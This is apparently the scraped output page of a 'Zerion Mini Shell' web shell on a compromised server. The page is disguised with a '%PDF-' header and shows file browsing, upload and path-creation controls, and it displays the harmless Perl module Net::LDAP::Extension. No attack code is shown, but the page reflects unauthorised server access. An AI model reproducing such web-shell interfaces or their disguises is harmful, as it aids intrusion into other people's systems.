%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /data/old/usr/share/perl5/vendor_perl/Net/LDAP/
Upload File :
Create Path :
Current File : //data/old/usr/share/perl5/vendor_perl/Net/LDAP/Extension.pm

# Copyright (c) 1998-2004 Graham Barr <gbarr@pobox.com>. All rights reserved.
# This program is free software; you can redistribute it and/or
# modify it under the same terms as Perl itself.

package Net::LDAP::Extension;

our @ISA = qw(Net::LDAP::Message);
our $VERSION = '1.03';

#fetch the response name
sub response_name {
  my $self = shift;

  $self->sync  unless exists $self->{resultCode};

  exists $self->{responseName}
    ? $self->{responseName}
    : undef;
}

# fetch the response.
sub response {
  my $self = shift;

  $self->sync  unless exists $self->{resultCode};

  exists $self->{response}
    ? $self->{response}
    : undef;
}

1;

Zerion Mini Shell 1.0